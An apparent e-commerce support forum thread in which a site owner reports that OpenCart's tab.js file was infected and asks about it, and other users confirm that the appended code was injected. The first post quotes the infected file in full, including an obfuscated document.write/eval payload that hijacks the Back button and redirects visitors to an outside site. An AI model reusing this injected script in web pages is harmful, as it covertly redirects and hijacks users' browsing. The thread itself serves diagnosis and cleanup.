Post by JoeUK82 » Wed Mar 01, 2017 9:37 pm

Hello!

Anyone had any issues with malware in the tab.js file (catalog/view/javascript/jquery/tab.js) ?
I think the malware just forwards the user to the 9jokers website when they press the browsers "Back" button.


Thank You!


This is how the file looks with the naughty bit at the bottom..

Code: Select all

$.tabs = function(selector, start) {
	$(selector).each(function(i, element) {
		$($(element).attr('tab')).css('display', 'none');
		
		$(element).click(function() {
			$(selector).each(function(i, element) {
				$(element).removeClass('selected');
				
				$($(element).attr('tab')).css('display', 'none');
			});
			
			$(this).addClass('selected');
			
			$($(this).attr('tab')).css('display', 'block');
		});
	});
	
	if (!start) {
		start = $(selector + ':first').attr('tab');
	}

	$(selector + '[tab=\'' + start + '\']').trigger('click');
};
document.write(unescape('%3c%73%63%72%69%70%74%20%74%79%70%65%3d%22%74%65%78%74%2f%6a%61%76%61%73%63%72%69%70%74%22%3e%65%76%61%6c%28%66%75%6e%63%74%69%6f%6e%28%6a%2c%62%2c%66%2c%69%2c%68%2c%67%29%7b%68%3d%66%75%6e%63%74%69%6f%6e%28%61%29%7b%72%65%74%75%72%6e%28%61%3c%62%3f%22%22%3a%68%28%61%2f%62%29%29%2b%53%74%72%69%6e%67%2e%66%72%6f%6d%43%68%61%72%43%6f%64%65%28%61%25%62%2b%31%36%31%29%7d%3b%77%68%69%6c%65%28%66%2d%2d%29%7b%69%66%28%69%5b%66%5d%29%7b%6a%3d%6a%2e%72%65%70%6c%61%63%65%28%6e%65%77%20%52%65%67%45%78%70%28%68%28%66%29%2c%22%67%22%29%2c%69%5b%66%5d%29%7d%7d%72%65%74%75%72%6e%20%6a%7d%28%27%a9%2e%a8%28%aa%28%5c%27%3c%a2%20%ac%3d%22%ab%2f%a7%22%3e%21%a1%28%29%7b%a3%20%74%3b%a4%7b%a6%28%74%3d%30%3b%a5%3e%74%3b%2b%2b%74%29%ad%2e%b4%28%7b%7d%2c%22%22%2c%22%22%29%3b%b3%3d%a1%28%74%29%7b%74%2e%b5%26%26%b7%2e%b6%28%22%af%3a%2f%2f%ae%2e%b0%2f%b2%22%29%7d%7d%b1%28%6f%29%7b%7d%7d%28%29%3b%3c%2f%a2%3e%5c%27%29%29%3b%27%2c%32%33%2c%32%33%2c%22%66%75%6e%63%74%69%6f%6e%7c%73%63%72%69%70%74%7c%76%61%72%7c%74%72%79%7c%31%30%7c%66%6f%72%7c%6a%61%76%61%73%63%72%69%70%74%7c%77%72%69%74%65%7c%64%6f%63%75%6d%65%6e%74%7c%75%6e%65%73%63%61%70%65%7c%74%65%78%74%7c%74%79%70%65%7c%68%69%73%74%6f%72%79%7c%67%6f%6f%7c%68%74%74%70%73%7c%67%6c%7c%63%61%74%63%68%7c%78%79%4c%36%6c%51%7c%6f%6e%70%6f%70%73%74%61%74%65%7c%70%75%73%68%53%74%61%74%65%7c%73%74%61%74%65%7c%72%65%70%6c%61%63%65%7c%6c%6f%63%61%74%69%6f%6e%22%2e%73%70%6c%69%74%28%22%7c%22%29%29%29%3b%3c%2f%73%63%72%69%70%74%3e'));

Newbie

Posts

Joined
Wed Mar 01, 2017 9:12 pm

Post by cyclops12 » Thu Mar 02, 2017 1:42 am

This isnt default file

Newbie

Posts

Joined
Sun Sep 27, 2015 1:10 am

Post by JoeUK82 » Thu Mar 02, 2017 7:23 am

It's not? Hmmm I'll have to see if I can find what it belongs to then.

Thanks

Newbie

Posts

Joined
Wed Mar 01, 2017 9:12 pm

Newbie

Posts

Joined
Sat Jan 14, 2012 1:02 am

Post by cyclops12 » Fri Mar 03, 2017 12:58 am

ADD Creative wrote:
Thu Mar 02, 2017 6:33 pm
It matches the tabs.js in OpenCart 1.4.9.
Oops my bad, i only checked back to 1.5

Newbie

Posts

Joined
Sun Sep 27, 2015 1:10 am

Post by k2tec » Fri Mar 03, 2017 10:38 pm

Code: Select all

$.tabs = function(selector, start) {
	$(selector).each(function(i, element) {
		$($(element).attr('tab')).css('display', 'none');
		
		$(element).click(function() {
			$(selector).each(function(i, element) {
				$(element).removeClass('selected');
				
				$($(element).attr('tab')).css('display', 'none');
			});
			
			$(this).addClass('selected');
			
			$($(this).attr('tab')).css('display', 'block');
		});
	});
	
	if (!start) {
		start = $(selector + ':first').attr('tab');
	}

	$(selector + '[tab=\'' + start + '\']').trigger('click');
};
but the rest is injected

https://4easyhosting.com


User avatar
Newbie

Posts

Joined
Mon Apr 12, 2010 8:06 pm

Who is online

Users browsing this forum: No registered users and 8 guests